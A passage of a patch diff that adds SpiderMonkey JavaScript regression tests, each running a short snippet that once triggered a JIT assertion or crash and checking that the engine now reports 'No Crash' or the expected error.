+var BUGNUMBER = 452703;
+var summary = 'Do not assert with JIT: rmask(rr)&FpRegs';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+(function() { for(let y in [0,1,2,3,4]) y = NaN; })();
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-452713.js b/js/src/tests/non262/regress/regress-452713.js
new file mode 100644
index 0000000000..754394f548
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452713.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452713;
+var summary = 'Do not assert with JIT: "Should not move data from GPR to XMM": false';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j = 0; j < 5; ++j) { if (''[-1]) { } }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452724-01.js b/js/src/tests/non262/regress/regress-452724-01.js
new file mode 100644
index 0000000000..43ce14720a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452724-01.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452724;
+var summary = 'Do not assert with JIT: (rmask(rr) & FpRegs) != 0';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ (function() { for (var j=0;j<5;++j) { (0/0) in this; } })()
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452724-02.js b/js/src/tests/non262/regress/regress-452724-02.js
new file mode 100644
index 0000000000..f2dd3d84a5
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452724-02.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452724;
+var summary = 'Do not crash with JIT: @TraceRecorder::getThis';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j=0;j<5;++j) { (0/0) in this; }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452742-01.js b/js/src/tests/non262/regress/regress-452742-01.js
new file mode 100644
index 0000000000..7d1b675f07
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452742-01.js
@@ -0,0 +1,48 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452742;
+var summary = 'Do not do overzealous eval inside function optimization in BindNameToSlot';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = actual = 'No Error';
+
+ var obj = { x: -100 };
+
+ function a(x)
+ {
+ var orig_x = x;
+ var orig_obj_x = obj.x;
+
+ with (obj) { eval("x = x + 10"); }
+
+ if (x !== orig_x)
+ throw "Unexpected mutation of x: " + x;
+ if (obj.x !== orig_obj_x + 10)
+ throw "Unexpected mutation of obj.x: " + obj.x;
+ }
+
+ try
+ {
+ a(0);
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452742-02.js b/js/src/tests/non262/regress/regress-452742-02.js
new file mode 100644
index 0000000000..6b6f5c0606
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452742-02.js
@@ -0,0 +1,53 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452742;
+var summary = 'Do not do overzealous eval inside function optimization in BindNameToSlot';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '';
+
+ var obj = { arguments: [-100] };
+
+ function a()
+ {
+ with (obj) { return eval("arguments[0]"); }
+ }
+
+ function b()
+ {
+ var result;
+ eval('with (obj) { result = eval("arguments[0]"); };');
+ return result;
+ }
+
+ try
+ {
+ var result = a();
+ if (result !== -100)
+ throw "Bad result " + result;
+
+ var result = b();
+ if (result !== -100)
+ throw "Bad result " + result;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452853.js b/js/src/tests/non262/regress/regress-452853.js
new file mode 100644
index 0000000000..6de2d5ac53
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452853.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452853;
+var summary = 'Do not crash in simple loop with array';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j=0; j<4; ++j) { var a = ["", ""]; a[0] * a[1]; }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452884-01.js b/js/src/tests/non262/regress/regress-452884-01.js
new file mode 100644
index 0000000000..587bc30d19
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452884-01.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452884;
+var summary = 'Do not crash in switch';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j=0;j<5;++j) { switch(1.1) { case NaN: case 2: } }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452884-02.js b/js/src/tests/non262/regress/regress-452884-02.js
new file mode 100644
index 0000000000..bc1c1608a8
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452884-02.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452884;
+var summary = 'Do not crash in switch';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j=0;j<5;++j) { switch(1.1) { case 2: case NaN: } }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452960.js b/js/src/tests/non262/regress/regress-452960.js
new file mode 100644
index 0000000000..4fe6531db4
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452960.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452960;
+var summary = 'Do not assert with JIT: !v.isPrimitive()';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var f = function(){};
+ f.prototype = false;
+ for (let j=0;j<5;++j) { new f; }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-453024.js b/js/src/tests/non262/regress/regress-453024.js
new file mode 100644
index 0000000000..9740ca916b
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-453024.js
@@ -0,0 +1,35 @@
+// |reftest| skip-if(xulRuntime.shell)
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 453024;
+var summary = 'Do not assert: vp + 2 + argc <= (jsval *) cx->stackPool.current->avail';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+gDelayTestDriverEnd = true;
+var j = 0;
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < 2000; ++i) {
+ var ns = document.createElementNS("http://www.w3.org/1999/xhtml", "script");
+ var nt = document.createTextNode("++j");
+ ns.appendChild(nt);
+ document.body.appendChild(ns);
+ }
+
+ gDelayTestDriverEnd = false;
+
+ reportCompare(expect, actual, summary);
+
+ jsTestDriverEnd();
+}
+
+window.addEventListener('load', test, false);
diff --git a/js/src/tests/non262/regress/regress-453049.js b/js/src/tests/non262/regress/regress-453049.js
new file mode 100644
index 0000000000..ab74cd5828
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-453049.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 453049;
+var summary = 'Do not assert with JIT: (*m != JSVAL_INT) || isInt32(*vp)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var z = 0; for (let j = 0; j < 5; ++j) { ({p: (-z)}); }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-453051.js b/js/src/tests/non262/regress/regress-453051.js
new file mode 100644
index 0000000000..bf314e7271
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-453051.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 453051;
+var summary = 'Do not assert with JIT: !(((*pc == JSOP_GOTO) || (*pc == JSOP_GOTOX)) && (exitType != LOOP_EXIT))';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var p in this){} for (let a in [5,6,7]) for (var b=0;b<1;++b) break;
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-453173.js b/js/src/tests/non262/regress/regress-453173.js
new file mode 100644
index 0000000000..0129c6a054
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-453173.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 453173;
+var summary = 'Do not Crash with JIT [@ TraceRecorder::record_JSOP_ENDINIT] with "[,]"';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var i;
+
+
+ for(i=0;i<4;++i) [,];
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-453397.js b/js/src/tests/non262/regress/regress-453397.js
new file mode 100644
index 0000000000..5e3309446b
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-453397.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 453397;
+var summary = 'Do not assert with JIT: script->main <= target && target < script->code + script->length';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ function computeEscapeSpeed(real) {
+ for (var j = 1; j < 4; ++j) {
+ if (real > 2) {
+ }
+ }
+ }
+
+ const numRows = 4;
+ const numCols = 4;
+ var realStep = 1.5;
+ for (var i = 0, curReal = -2.1;
+ i < numCols;
+ ++i, curReal += realStep) {
+ for (var j = 0; j < numRows; ++j) {
+ computeEscapeSpeed(curReal);
+ }
+ }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-453701.js b/js/src/tests/non262/regress/regress-453701.js
new file mode 100644
index 0000000000..c38148770c
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-453701.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 453701;
+var summary = 'Do not assert with JIT: (rmask(rr) & FpRegs) != 0';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ (function() { for (var j = 0; j < 5; ++j) { (1).hasOwnProperty(""); } })();
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-453747.js b/js/src/tests/non262/regress/regress-453747.js
new file mode 100644
index 0000000000..93d54237b9
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-453747.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 453747;
+var summary = 'Do not assert with JIT: boxed.isUndefined() || boxed.isBoolean()';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ (function(){
+ var a = [];
+ var s = 10;
+ for (var i = 0; i < s; ++i)
+ a[i] = 1;
+ a[4*s-1] = 2;
+ for (var i = s+1; i < s+4; ++i)
+ typeof a[i];
+ })();
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-454682.js b/js/src/tests/non262/regress/regress-454682.js
new file mode 100644
index 0000000000..39ef5bdc09
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-454682.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 454682;
+var summary = 'Do not crash with JIT in MatchRegExp';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var a = new String("foo");
+ for (i = 0; i < 300; i++) {
+ a.match(/bar/);
+ }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-454981.js b/js/src/tests/non262/regress/regress-454981.js
new file mode 100644
index 0000000000..9af3525569
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-454981.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 454981;
+var summary = 'Do not assert with JIT: size_t(p - cx->fp->slots) < cx->fp->script->nslots';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ function f1() {
+ function f0() { return arguments[0]; }
+ for (var i = 0; i < 4; i++) f0('a');
+ }
+ f1();
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-455605.js b/js/src/tests/non262/regress/regress-455605.js
new file mode 100644
index 0000000000..edb3ceb06a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-455605.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 455605;
+var summary = 'Do not assert with JIT: "need a way to EOT now, since this is trace end": 0';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j = 0; j < 4; ++j) { switch(0/0) { } }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-455748.js b/js/src/tests/non262/regress/regress-455748.js
new file mode 100644
index 0000000000..5f67290f56
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-455748.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 455748;
+var summary = 'Do not assert with JIT: Should not move data from GPR to XMM';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j = 0; j < 5; ++j) { if([1][-0]) { } }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-455758-01.js b/js/src/tests/non262/regress/regress-455758-01.js
new file mode 100644
index 0000000000..0536d3b4cc
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-455758-01.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 455758;
+var summary = 'Do not assert: (m != JSVAL_INT) || isInt32(*vp)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ (function() { for (var j = 0; j < 5; ++j) { var t = 3 % (-0); } })();
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-455758-02.js b/js/src/tests/non262/regress/regress-455758-02.js
new file mode 100644
index 0000000000..3426720b43
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-455758-02.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 455758;
+var summary = 'Do not crash: divide by zero';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ (function() { for (var j = 0; j < 5; ++j) { 3 % (-0); } })();
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-455775.js b/js/src/tests/non262/regress/regress-455775.js
new file mode 100644
index 0000000000..4267bb6946
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-455775.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 455775;
+var summary = 'Do not assert: cx->fp->flags & JSFRAME_EVAL';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ (function() { var c; eval("new (c ? 1 : {});"); })();
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-455981-01.js b/js/src/tests/non262/regress/regress-455981-01.js
new file mode 100644
index 0000000000..fa43a28894
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-455981-01.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 455981;
+var summary = 'Do not assert: entry->localKind == JSLOCAL_ARG';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'SyntaxError: duplicate argument names not allowed in this context';
+
+ try
+ {
+ eval('(function ({a, b, c, d, e, f, g, h, q}, q) { })');
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-455981-02.js b/js/src/tests/non262/regress/regress-455981-02.js
new file mode 100644
index 0000000000..cefa0dfdf8
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-455981-02.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 455981;
+var summary = 'Do not assert: entry->localKind == JSLOCAL_ARG';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'SyntaxError: duplicate argument names not allowed in this context';
+
+ try
+ {
+ eval('(function ({a: {b: bb, c: cc, d: dd}, m: [x, n, o, p]}, x) {});');
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-456470.js b/js/src/tests/non262/regress/regress-456470.js
new file mode 100644
index 0000000000..11d79b9ce2
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-456470.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 456470;
+var summary = 'TM: Make sure JSOP_DEFLOCALFUN pushes the right function object.';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ function x() {
+ function a() {
+ return true;
+ }
+ return a();
+ }
+
+ for (var i = 0; i < 10; ++i)
+ x();
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-456477-01.js b/js/src/tests/non262/regress/regress-456477-01.js
new file mode 100644
index 0000000000..209a0ffdef
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-456477-01.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 456477;
+var summary = 'Do not assert with JIT: (m != JSVAL_INT) || isInt32(*vp)" with (0/0)%(-1)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j = 0; j < 5; ++j) { var t = (0 / 0) % (-1); }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-456477-02.js b/js/src/tests/non262/regress/regress-456477-02.js
new file mode 100644
index 0000000000..4b98952dd3
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-456477-02.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 456477;
+var summary = 'Do not assert with JIT: (m != JSVAL_INT) || isInt32(*vp)" with (0/0)%(-1)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ (function() { for (var j = 0; j < 5; ++j) { (0 / 0) % (-1); } })();
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-456494.js b/js/src/tests/non262/regress/regress-456494.js
new file mode 100644
index 0000000000..ecf21db0ad
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-456494.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
